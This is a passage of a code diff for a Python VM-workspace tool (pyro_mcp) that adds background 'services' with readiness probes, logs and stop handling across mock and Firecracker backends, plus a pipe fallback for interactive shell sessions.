_run_service_probe_command(cwd: Path, command: str) -> int: + proc = subprocess.run( # noqa: S603 + ["bash", "-lc", command], # noqa: S607 + cwd=cwd, + env={"PATH": os.environ.get("PATH", ""), "HOME": str(cwd)}, + text=True, + capture_output=True, + timeout=10, + check=False, + ) + return proc.returncode + + +def _service_ready_on_host( + *, + readiness: dict[str, Any] | None, + workspace_dir: Path, + cwd: Path, +) -> bool: + if readiness is None: + return True + readiness_type = str(readiness["type"]) + if readiness_type == "file": + ready_path = _workspace_host_destination(workspace_dir, str(readiness["path"])) + return ready_path.exists() + if readiness_type == "tcp": + host, raw_port = str(readiness["address"]).rsplit(":", 1) + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: + sock.settimeout(1) + try: + sock.connect((host, int(raw_port))) + except OSError: + return False + return True + if readiness_type == "http": + request = urllib.request.Request(str(readiness["url"]), method="GET") + try: + with urllib.request.urlopen(request, timeout=2) as response: # noqa: S310 + return 200 <= int(response.status) < 400 + except (urllib.error.URLError, TimeoutError, ValueError): + return False + if readiness_type == "command": + try: + return _run_service_probe_command(cwd, str(readiness["command"])) == 0 + except (OSError, subprocess.TimeoutExpired): + return False + raise RuntimeError(f"unsupported readiness type: {readiness_type}") + + +def _refresh_local_service_record( + service: WorkspaceServiceRecord, + *, + services_dir: Path, +) -> WorkspaceServiceRecord: + if service.state != "running" or service.pid is None: + return service + if _pid_is_running(service.pid): + return service + refreshed = WorkspaceServiceRecord( + workspace_id=service.workspace_id, + service_name=service.service_name, + command=service.command, + cwd=service.cwd, + state="exited", + started_at=service.started_at, + readiness=dict(service.readiness) if service.readiness is not None else None, + ready_at=service.ready_at, + ended_at=service.ended_at or time.time(), + exit_code=_read_service_exit_code( + _workspace_service_status_path(services_dir, service.service_name) + ), + pid=service.pid, + execution_mode=service.execution_mode, + stop_reason=service.stop_reason, + metadata=dict(service.metadata), + ) + return refreshed + + +def _start_local_service( + *, + services_dir: Path, + workspace_dir: Path, + workspace_id: str, + service_name: str, + command: str, + cwd_text: str, + readiness: dict[str, Any] | None, + ready_timeout_seconds: int, + ready_interval_ms: int, +) -> WorkspaceServiceRecord: + services_dir.mkdir(parents=True, exist_ok=True) + cwd = _workspace_host_destination(workspace_dir, cwd_text) + cwd.mkdir(parents=True, exist_ok=True) + stdout_path = _workspace_service_stdout_path(services_dir, service_name) + stderr_path = _workspace_service_stderr_path(services_dir, service_name) + status_path = _workspace_service_status_path(services_dir, service_name) + runner_path = _workspace_service_runner_path(services_dir, service_name) + stdout_path.write_text("", encoding="utf-8") + stderr_path.write_text("", encoding="utf-8") + status_path.unlink(missing_ok=True) + runner_path.write_text( + "\n".join( + [ + "#!/bin/sh", + "set +e", + f"cd {shlex.quote(str(cwd))}", + ( + f"/bin/sh -lc {shlex.quote(command)}" + f" >> {shlex.quote(str(stdout_path))}" + f" 2>> {shlex.quote(str(stderr_path))}" + ), + "status=$?", + f"printf '%s' \"$status\" > {shlex.quote(str(status_path))}", + "exit \"$status\"", + ] + ) + + "\n", + encoding="utf-8", + ) + runner_path.chmod(0o700) + process = subprocess.Popen( # noqa: S603 + [str(runner_path)], + cwd=str(cwd), + text=True, + start_new_session=True, + ) + started_at = time.time() + service = WorkspaceServiceRecord( + workspace_id=workspace_id, + service_name=service_name, + command=command, + cwd=cwd_text, + state="running", + started_at=started_at, + readiness=dict(readiness) if readiness is not None else None, + ready_at=None, + ended_at=None, + exit_code=None, + pid=process.pid, + execution_mode="host_compat", + stop_reason=None, + ) + deadline = time.monotonic() + ready_timeout_seconds + while True: + service = _refresh_local_service_record(service, services_dir=services_dir) + if service.state != "running": + service.state = "failed" + service.stop_reason = "process_exited_before_ready" + if service.ended_at is None: + service.ended_at = time.time() + return service + if _service_ready_on_host(readiness=readiness, workspace_dir=workspace_dir, cwd=cwd): + service.ready_at = time.time() + return service + if time.monotonic() >= deadline: + _stop_process_group(process.pid) + service = _refresh_local_service_record(service, services_dir=services_dir) + service.state = "failed" + service.stop_reason = "readiness_timeout" + if service.ended_at is None: + service.ended_at = time.time() + return service + time.sleep(max(ready_interval_ms, 1) / 1000) + + +def _stop_local_service( + service: WorkspaceServiceRecord, + *, + services_dir: Path, +) -> WorkspaceServiceRecord: + if service.pid is None: + return service + stopped, killed = _stop_process_group(service.pid) + refreshed = _refresh_local_service_record(service, services_dir=services_dir) + if stopped: + refreshed.state = "stopped" + refreshed.stop_reason = "sigkill" if killed else "sigterm" + refreshed.ended_at = refreshed.ended_at or time.time() + return refreshed + + def _instance_workspace_host_dir(instance: VmInstance) -> Path: raw_value = instance.metadata.get("workspace_host_dir") if raw_value is None or raw_value == "": @@ -1131,6 +1504,48 @@ class VmBackend: ) -> dict[str, Any]: raise NotImplementedError + def start_service( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + command: str, + cwd: str, + readiness: dict[str, Any] | None, + ready_timeout_seconds: int, + ready_interval_ms: int, + ) -> dict[str, Any]: + raise NotImplementedError + + def status_service( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + ) -> dict[str, Any]: + raise NotImplementedError + + def logs_service( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + tail_lines: int | None, + ) -> dict[str, Any]: + raise NotImplementedError + + def stop_service( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + ) -> dict[str, Any]: + raise NotImplementedError + class MockBackend(VmBackend): """Host-process backend used for development and testability.""" @@ -1273,6 +1688,108 @@ class MockBackend(VmBackend): payload["execution_mode"] = "host_compat" return payload + def start_service( + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + command: str, + cwd: str, + readiness: dict[str, Any] | None, + ready_timeout_seconds: int, + ready_interval_ms: int, + ) -> dict[str, Any]: + services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME + service = _start_local_service( + services_dir=services_dir, + workspace_dir=_instance_workspace_host_dir(instance), + workspace_id=workspace_id, + service_name=service_name, + command=command, + cwd_text=cwd, + readiness=readiness, + ready_timeout_seconds=ready_timeout_seconds, + ready_interval_ms=ready_interval_ms, + ) + return service.to_payload() + + def status_service( + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + ) -> dict[str, Any]: + services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME + service = self._load_workspace_service(services_dir, workspace_id, service_name) + refreshed = _refresh_local_service_record( + service, + services_dir=services_dir, + ) + return refreshed.to_payload() + + def logs_service( + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + tail_lines: int | None, + ) -> dict[str, Any]: + services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME + service = self._load_workspace_service(services_dir, workspace_id, service_name) + refreshed = _refresh_local_service_record(service, services_dir=services_dir) + payload = refreshed.to_payload() + stdout, stdout_truncated = _tail_text( + _workspace_service_stdout_path(services_dir, service_name), + tail_lines=tail_lines, + ) + stderr, stderr_truncated = _tail_text( + _workspace_service_stderr_path(services_dir, service_name), + tail_lines=tail_lines, + ) + payload.update( + { + "stdout": stdout, + "stderr": stderr, + "tail_lines": tail_lines, + "truncated": stdout_truncated or stderr_truncated, + } + ) + return payload + + def stop_service( + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + ) -> dict[str, Any]: + services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME + service = self._load_workspace_service(services_dir, workspace_id, service_name) + stopped = _stop_local_service( + service, + services_dir=services_dir, + ) + return stopped.to_payload() + + def _load_workspace_service( + self, + services_dir: Path, + workspace_id: str, + service_name: str, + ) -> WorkspaceServiceRecord: + record_path = services_dir / f"{service_name}.json" + if not record_path.exists(): + raise ValueError( + f"service {service_name!r} does not exist in workspace {workspace_id!r}" + ) + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"service record at {record_path} is invalid") + return WorkspaceServiceRecord.from_payload(payload) + class FirecrackerBackend(VmBackend): # pragma: no cover """Host-gated backend that validates Firecracker prerequisites.""" @@ -1697,6 +2214,173 @@ class FirecrackerBackend(VmBackend): # pragma: no cover payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") return payload + def start_service( + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + command: str, + cwd: str, + readiness: dict[str, Any] | None, + ready_timeout_seconds: int, + ready_interval_ms: int, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.start_service( + guest_cid, + port, + service_name=service_name, + command=command, + cwd=cwd, + readiness=readiness, + ready_timeout_seconds=ready_timeout_seconds, + ready_interval_ms=ready_interval_ms, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + if not instance.allow_host_compat: + raise RuntimeError("services require guest execution or explicit host compatibility") + service = _start_local_service( + services_dir=instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME, + workspace_dir=_instance_workspace_host_dir(instance), + workspace_id=workspace_id, + service_name=service_name, + command=command, + cwd_text=cwd, + readiness=readiness, + ready_timeout_seconds=ready_timeout_seconds, + ready_interval_ms=ready_interval_ms, + ) + return service.to_payload() + + def status_service( + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.status_service( + guest_cid, + port, + service_name=service_name, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + if not instance.allow_host_compat: + raise RuntimeError("services require guest execution or explicit host compatibility") + services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME + record_path = services_dir / f"{service_name}.json" + if not record_path.exists(): + raise ValueError( + f"service {service_name!r} does not exist in workspace {workspace_id!r}" + ) + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"service record at {record_path} is invalid") + service = WorkspaceServiceRecord.from_payload(payload) + refreshed = _refresh_local_service_record(service, services_dir=services_dir) + return refreshed.to_payload() + + def logs_service( + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + tail_lines: int | None, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.logs_service( + guest_cid, + port, + service_name=service_name, + tail_lines=tail_lines, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + if not instance.allow_host_compat: + raise RuntimeError("services require guest execution or explicit host compatibility") + services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME + record_path = services_dir / f"{service_name}.json" + if not record_path.exists(): + raise ValueError( + f"service {service_name!r} does not exist in workspace {workspace_id!r}" + ) + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"service record at {record_path} is invalid") + service = _refresh_local_service_record( + WorkspaceServiceRecord.from_payload(payload), + services_dir=services_dir, + ) + response = service.to_payload() + stdout, stdout_truncated = _tail_text( + _workspace_service_stdout_path(services_dir, service_name), + tail_lines=tail_lines, + ) + stderr, stderr_truncated = _tail_text( + _workspace_service_stderr_path(services_dir, service_name), + tail_lines=tail_lines, + ) + response.update( + { + "stdout": stdout, + "stderr": stderr, + "tail_lines": tail_lines, + "truncated": stdout_truncated or stderr_truncated, + } + ) + return response + + def stop_service( + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.stop_service( + guest_cid, + port, + service_name=service_name, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + if not instance.allow_host_compat: + raise RuntimeError("services require guest execution or explicit host compatibility") + services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME + record_path = services_dir / f"{service_name}.json" + if not record_path.exists(): + raise ValueError( + f"service {service_name!r} does not exist in workspace {workspace_id!r}" + ) + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"service record at {record_path} is invalid") + service = WorkspaceServiceRecord.from_payload(payload) + stopped = _stop_local_service(service, services_dir=services_dir) + return stopped.to_payload() + class VmManager: """In-process lifecycle manager for ephemeral VM environments and workspaces.""" @@ -1961,11 +2645,13 @@ class VmManager: host_workspace_dir = self._workspace_host_dir(workspace_id) commands_dir = self._workspace_commands_dir(workspace_id) shells_dir = self._workspace_shells_dir(workspace_id) + services_dir = self._workspace_services_dir(workspace_id) baseline_archive_path = self._workspace_baseline_archive_path(workspace_id) workspace_dir.mkdir(parents=True, exist_ok=False) host_workspace_dir.mkdir(parents=True, exist_ok=True) commands_dir.mkdir(parents=True, exist_ok=True) shells_dir.mkdir(parents=True, exist_ok=True) + services_dir.mkdir(parents=True, exist_ok=True) _persist_workspace_baseline( prepared_seed, baseline_archive_path=baseline_archive_path, @@ -2430,11 +3116,174 @@ class VmManager: response["closed"] = bool(payload.get("closed", True)) return response + def start_service( + self, + workspace_id: str, + service_name: str, + *, + command: str, + cwd: str = WORKSPACE_GUEST_PATH, + readiness: dict[str, Any] | None = None, + ready_timeout_seconds: int = DEFAULT_SERVICE_READY_TIMEOUT_SECONDS, + ready_interval_ms: int = DEFAULT_SERVICE_READY_INTERVAL_MS, + ) -> dict[str, Any]: + normalized_service_name = _normalize_workspace_service_name(service_name) + normalized_cwd, _ = _normalize_workspace_destination(cwd) + normalized_readiness = _normalize_workspace_service_readiness(readiness) + if ready_timeout_seconds <= 0: + raise ValueError("ready_timeout_seconds must be positive") + if ready_interval_ms <= 0: + raise ValueError("ready_interval_ms must be positive") + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_service_locked(workspace) + existing = self._load_workspace_service_locked_optional( + workspace_id, + normalized_service_name, + ) + if existing is not None: + existing = self._refresh_workspace_service_locked( + workspace, + instance, + existing, + ) + if existing.state == "running": + raise RuntimeError( + f"service {normalized_service_name!r} is already running in " + f"workspace {workspace_id!r}" + ) + self._delete_workspace_service_artifacts_locked( + workspace_id, + normalized_service_name, + ) + payload = self._backend.start_service( + instance, + workspace_id=workspace_id, + service_name=normalized_service_name, + command=command, + cwd=normalized_cwd, + readiness=normalized_readiness, + ready_timeout_seconds=ready_timeout_seconds, + ready_interval_ms=ready_interval_ms, + ) + service = self._workspace_service_record_from_payload( + workspace_id=workspace_id, + service_name=normalized_service_name, + payload=payload, + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + self._save_workspace_service_locked(service) + return self._serialize_workspace_service(service) + + def list_services(self, workspace_id: str) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_service_locked(workspace) + services = self._refresh_workspace_services_locked(workspace, instance) + self._save_workspace_locked(workspace) + serialized = [self._serialize_workspace_service(service) for service in services] + return { + "workspace_id": workspace_id, + "count": len(serialized), + "running_count": sum(1 for item in serialized if item["state"] == "running"), + "services": serialized, + } + + def status_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + normalized_service_name = _normalize_workspace_service_name(service_name) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_service_locked(workspace) + service = self._load_workspace_service_locked(workspace_id, normalized_service_name) + service = self._refresh_workspace_service_locked(workspace, instance, service) + self._save_workspace_locked(workspace) + self._save_workspace_service_locked(service) + return self._serialize_workspace_service(service) + + def logs_service( + self, + workspace_id: str, + service_name: str, + *, + tail_lines: int | None = DEFAULT_SERVICE_LOG_TAIL_LINES, + ) -> dict[str, Any]: + normalized_service_name = _normalize_workspace_service_name(service_name) + if tail_lines is not None and tail_lines <= 0: + raise ValueError("tail_lines must be positive") + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_service_locked(workspace) + service = self._load_workspace_service_locked(workspace_id, normalized_service_name) + payload = self._backend.logs_service( + instance, + workspace_id=workspace_id, + service_name=normalized_service_name, + tail_lines=tail_lines, + ) + service = self._workspace_service_record_from_payload( + workspace_id=workspace_id, + service_name=normalized_service_name, + payload=payload, + metadata=service.metadata, + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + self._save_workspace_service_locked(service) + response = self._serialize_workspace_service(service) + response.update( + { + "stdout": str(payload.get("stdout", "")), + "stderr": str(payload.get("stderr", "")), + "tail_lines": tail_lines, + "truncated": bool(payload.get("truncated", False)), + } + ) + return response + + def stop_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + normalized_service_name = _normalize_workspace_service_name(service_name) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_service_locked(workspace) + service = self._load_workspace_service_locked(workspace_id, normalized_service_name) + payload = self._backend.stop_service( + instance, + workspace_id=workspace_id, + service_name=normalized_service_name, + ) + service = self._workspace_service_record_from_payload( + workspace_id=workspace_id, + service_name=normalized_service_name, + payload=payload, + metadata=service.metadata, + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + self._save_workspace_service_locked(service) + return self._serialize_workspace_service(service) + def status_workspace(self, workspace_id: str) -> dict[str, Any]: with self._lock: workspace = self._load_workspace_locked(workspace_id) self._ensure_workspace_not_expired_locked(workspace, time.time()) self._refresh_workspace_liveness_locked(workspace) + self._refresh_workspace_service_counts_locked(workspace) self._save_workspace_locked(workspace) return self._serialize_workspace(workspace) @@ -2462,6 +3311,7 @@ class VmManager: instance = workspace.to_instance( workdir=self._workspace_runtime_dir(workspace.workspace_id) ) + self._stop_workspace_services_locked(workspace, instance) self._close_workspace_shells_locked(workspace, instance) if workspace.state == "started": self._backend.stop(instance) @@ -2500,6 +3350,9 @@ class VmManager: } def _serialize_workspace(self, workspace: WorkspaceRecord) -> dict[str, Any]: + service_count, running_service_count = self._workspace_service_counts_locked( + workspace.workspace_id + ) return { "workspace_id": workspace.workspace_id, "environment": workspace.environment, @@ -2519,6 +3372,8 @@ class VmManager: "workspace_seed": _workspace_seed_dict(workspace.workspace_seed), "command_count": workspace.command_count, "last_command": workspace.last_command, + "service_count": service_count, + "running_service_count": running_service_count, "metadata": workspace.metadata, } @@ -2536,6 +3391,23 @@ class VmManager: "execution_mode": shell.execution_mode, } + def _serialize_workspace_service(self, service: WorkspaceServiceRecord) -> dict[str, Any]: + return { + "workspace_id": service.workspace_id, + "service_name": service.service_name, + "state": service.state, + "command": service.command, + "cwd": service.cwd, + "started_at": service.started_at, + "ended_at": service.ended_at, + "exit_code": service.exit_code, + "pid": service.pid, + "execution_mode": service.execution_mode, + "readiness": dict(service.readiness) if service.readiness is not None else None, + "ready_at": service.ready_at, + "stop_reason": service.stop_reason, + } + def _require_guest_boot_or_opt_in(self, instance: VmInstance) -> None: if self._runtime_capabilities.supports_vm_boot or instance.allow_host_compat: return @@ -2571,6 +3443,20 @@ class VmManager: f"workspace: {reason}" ) + def _require_workspace_service_support(self, instance: VmInstance) -> None: + if self._backend_name == "mock": + return + if self._runtime_capabilities.supports_guest_exec or instance.allow_host_compat: + return + reason = self._runtime_capabilities.reason or ( + "runtime does not support guest-backed or host-compatible service execution" + ) + raise RuntimeError( + "workspace services are unavailable for this workspace: " + f"{reason}. Recreate the workspace with --allow-host-compat to opt into " + "host compatibility when guest execution is unavailable." + ) + def _get_instance_locked(self, vm_id: str) -> VmInstance: try: return self._instances[vm_id] @@ -2709,12 +3595,18 @@ class VmManager: def _workspace_shells_dir(self, workspace_id: str) -> Path: return self._workspace_dir(workspace_id) / WORKSPACE_SHELLS_DIRNAME + def _workspace_services_dir(self, workspace_id: str) -> Path: + return self._workspace_dir(workspace_id) / WORKSPACE_SERVICES_DIRNAME + def _workspace_metadata_path(self, workspace_id: str) -> Path: return self._workspace_dir(workspace_id) / "workspace.json" def _workspace_shell_record_path(self, workspace_id: str, shell_id: str) -> Path: return self._workspace_shells_dir(workspace_id) / f"{shell_id}.json" + def _workspace_service_record_path(self, workspace_id: str, service_name: str) -> Path: + return self._workspace_services_dir(workspace_id) / f"{service_name}.json" + def _count_workspaces_locked(self) -> int: return sum(1 for _ in self._workspaces_dir.glob("*/workspace.json")) @@ -2852,6 +3744,14 @@ class VmManager: self._require_workspace_shell_support(instance) return instance + def _workspace_instance_for_live_service_locked(self, workspace: WorkspaceRecord) -> VmInstance: + instance = self._workspace_instance_for_live_operation_locked( + workspace, + operation_name="service operations", + ) + self._require_workspace_service_support(instance) + return instance + def _workspace_instance_for_live_operation_locked( self, workspace: WorkspaceRecord, @@ -2896,6 +3796,39 @@ class VmManager: metadata=dict(metadata or {}), ) + def _workspace_service_record_from_payload( + self, + *, + workspace_id: str, + service_name: str, + payload: dict[str, Any], + metadata: dict[str, str] | None = None, + ) -> WorkspaceServiceRecord: + readiness_payload = payload.get("readiness") + readiness = dict(readiness_payload) if isinstance(readiness_payload, dict) else None + return WorkspaceServiceRecord( + workspace_id=workspace_id, + service_name=str(payload.get("service_name", service_name)), + command=str(payload.get("command", "")), + cwd=str(payload.get("cwd", WORKSPACE_GUEST_PATH)), + state=cast(WorkspaceServiceState, str(payload.get("state", "stopped"))), + started_at=float(payload.get("started_at", time.time())), + readiness=readiness, + ready_at=( + None if payload.get("ready_at") is None else float(payload.get("ready_at", 0.0)) + ), + ended_at=( + None if payload.get("ended_at") is None else float(payload.get("ended_at", 0.0)) + ), + exit_code=( + None if payload.get("exit_code") is None else int(payload.get("exit_code", 0)) + ), + pid=None if payload.get("pid") is None else int(payload.get("pid", 0)), + execution_mode=str(payload.get("execution_mode", "pending")), + stop_reason=_optional_str(payload.get("stop_reason")), + metadata=dict(metadata or {}), + ) + def _load_workspace_shell_locked( self, workspace_id: str, @@ -2909,6 +3842,73 @@ class VmManager: raise RuntimeError(f"shell record at {record_path} is invalid") return WorkspaceShellRecord.from_payload(payload) + def _workspace_service_counts_locked(self, workspace_id: str) -> tuple[int, int]: + services = self._list_workspace_services_locked(workspace_id) + return len(services), sum(1 for service in services if service.state == "running") + + def _load_workspace_service_locked( + self, + workspace_id: str, + service_name: str, + ) -> WorkspaceServiceRecord: + record_path = self._workspace_service_record_path(workspace_id, service_name) + if not record_path.exists(): + raise ValueError( + f"service {service_name!r} does not exist in workspace {workspace_id!r}" + ) + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"service record at {record_path} is invalid") + return WorkspaceServiceRecord.from_payload(payload) + + def _load_workspace_service_locked_optional( + self, + workspace_id: str, + service_name: str, + ) -> WorkspaceServiceRecord | None: + record_path = self._workspace_service_record_path(workspace_id, service_name) + if not record_path.exists(): + return None + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"service record at {record_path} is invalid") + return WorkspaceServiceRecord.from_payload(payload) + + def _save_workspace_service_locked(self, service: WorkspaceServiceRecord) -> None: + record_path = self._workspace_service_record_path( + service.workspace_id, + service.service_name, + ) + record_path.parent.mkdir(parents=True, exist_ok=True) + record_path.write_text( + json.dumps(service.to_payload(), indent=2, sort_keys=True), + encoding="utf-8", + ) + + def _delete_workspace_service_artifacts_locked( + self, + workspace_id: str, + service_name: str, + ) -> None: + self._workspace_service_record_path(workspace_id, service_name).unlink(missing_ok=True) + services_dir = self._workspace_services_dir(workspace_id) + _workspace_service_stdout_path(services_dir, service_name).unlink(missing_ok=True) + _workspace_service_stderr_path(services_dir, service_name).unlink(missing_ok=True) + _workspace_service_status_path(services_dir, service_name).unlink(missing_ok=True) + _workspace_service_runner_path(services_dir, service_name).unlink(missing_ok=True) + + def _list_workspace_services_locked(self, workspace_id: str) -> list[WorkspaceServiceRecord]: + services_dir = self._workspace_services_dir(workspace_id) + if not services_dir.exists(): + return [] + services: list[WorkspaceServiceRecord] = [] + for record_path in sorted(services_dir.glob("*.json")): + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + continue + services.append(WorkspaceServiceRecord.from_payload(payload)) + return services + def _save_workspace_shell_locked(self, shell: WorkspaceShellRecord) -> None: record_path = self._workspace_shell_record_path(shell.workspace_id, shell.shell_id) record_path.parent.mkdir(parents=True, exist_ok=True) @@ -2949,3 +3949,83 @@ class VmManager: except Exception: pass self._delete_workspace_shell_locked(workspace.workspace_id, shell.shell_id) + + def _refresh_workspace_service_locked( + self, + workspace: WorkspaceRecord, + instance: VmInstance, + service: WorkspaceServiceRecord, + ) -> WorkspaceServiceRecord: + payload = self._backend.status_service( + instance, + workspace_id=workspace.workspace_id, + service_name=service.service_name, + ) + refreshed = self._workspace_service_record_from_payload( + workspace_id=workspace.workspace_id, + service_name=service.service_name, + payload=payload, + metadata=service.metadata, + ) + self._save_workspace_service_locked(refreshed) + return refreshed + + def _refresh_workspace_services_locked( + self, + workspace: WorkspaceRecord, + instance: VmInstance, + ) -> list[WorkspaceServiceRecord]: + services = self._list_workspace_services_locked(workspace.workspace_id) + refreshed: list[WorkspaceServiceRecord] = [] + for service in services: + refreshed.append(self._refresh_workspace_service_locked(workspace, instance, service)) + return refreshed + + def _refresh_workspace_service_counts_locked(self, workspace: WorkspaceRecord) -> None: + services = self._list_workspace_services_locked(workspace.workspace_id) + if not services: + return + if workspace.state != "started": + changed = False + for service in services: + if service.state == "running": + service.state = "stopped" + service.stop_reason = "workspace_stopped" + service.ended_at = service.ended_at or time.time() + self._save_workspace_service_locked(service) + changed = True + if changed: + return + return + instance = workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) + self._require_workspace_service_support(instance) + self._refresh_workspace_services_locked(workspace, instance) + + def _stop_workspace_services_locked( + self, + workspace: WorkspaceRecord, + instance: VmInstance, + ) -> None: + for service in self._list_workspace_services_locked(workspace.workspace_id): + if workspace.state == "started": + try: + payload = self._backend.stop_service( + instance, + workspace_id=workspace.workspace_id, + service_name=service.service_name, + ) + stopped = self._workspace_service_record_from_payload( + workspace_id=workspace.workspace_id, + service_name=service.service_name, + payload=payload, + metadata=service.metadata, + ) + self._save_workspace_service_locked(stopped) + except Exception: + pass + self._delete_workspace_service_artifacts_locked( + workspace.workspace_id, + service.service_name, + ) diff --git a/src/pyro_mcp/workspace_shells.py b/src/pyro_mcp/workspace_shells.py index 0a30d06..d082777 100644 --- a/src/pyro_mcp/workspace_shells.py +++ b/src/pyro_mcp/workspace_shells.py @@ -5,7 +5,6 @@ from __future__ import annotations import codecs import fcntl import os -import pty import shlex import signal import struct @@ -14,7 +13,7 @@ import termios import threading import time from pathlib import Path -from typing import Literal +from typing import IO, Literal ShellState = Literal["running", "stopped"] @@ -59,41 +58,60 @@ class LocalShellSession: self._lock = threading.RLock() self._output = "" self._master_fd: int | None = None + self._input_pipe: IO[bytes] | None = None + self._output_pipe: IO[bytes] | None = None self._reader: threading.Thread | None = None self._waiter: threading.Thread | None = None self._decoder = codecs.getincrementaldecoder("utf-8")("replace") + env = os.environ.copy() + env.update( + { + "TERM": env.get("TERM", "xterm-256color"), + "PS1": "pyro$ ", + "PROMPT_COMMAND": "", + } + ) - master_fd, slave_fd = pty.openpty() + process: subprocess.Popen[bytes] try: - _set_pty_size(slave_fd, rows, cols) - env = os.environ.copy() - env.update( - { - "TERM": env.get("TERM", "xterm-256color"), - "PS1": "pyro$ ", - "PROMPT_COMMAND": "", - } - ) + master_fd, slave_fd = os.openpty() + except OSError: process = subprocess.Popen( # noqa: S603 - ["/bin/bash", "--noprofile", "--norc", "-i"], - stdin=slave_fd, - stdout=slave_fd, - stderr=slave_fd, + ["/bin/bash", "--noprofile", "--norc"], + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, cwd=str(cwd), env=env, text=False, close_fds=True, preexec_fn=os.setsid, ) - except Exception: - os.close(master_fd) - raise - finally: - os.close(slave_fd) + self._input_pipe = process.stdin + self._output_pipe = process.stdout + else: + try: + _set_pty_size(slave_fd, rows, cols) + process = subprocess.Popen( # noqa: S603 + ["/bin/bash", "--noprofile", "--norc", "-i"], + stdin=slave_fd, + stdout=slave_fd, + stderr=slave_fd, + cwd=str(cwd), + env=env, + text=False, + close_fds=True, + preexec_fn=os.setsid, + ) + except Exception: + os.close(master_fd) + raise + finally: + os.close(slave_fd) + self._master_fd = master_fd self._process = process self.pid = process.pid - self._master_fd = master_fd self._reader = threading.Thread(target=self._reader_loop, daemon=True) self._waiter = threading.Thread(target=self._waiter_loop, daemon=True) self._reader.start() @@ -136,11 +154,16 @@ class LocalShellSession: if self.state != "running": raise RuntimeError(f"shell {self.shell_id} is not running") master_fd = self._master_fd - if master_fd is None: - raise RuntimeError(f"shell {self.shell_id} transport is unavailable") + input_pipe = self._input_pipe payload = text + ("\n" if append_newline else "") try: - os.write(master_fd, payload.encode("utf-8")) + if master_fd is not None: 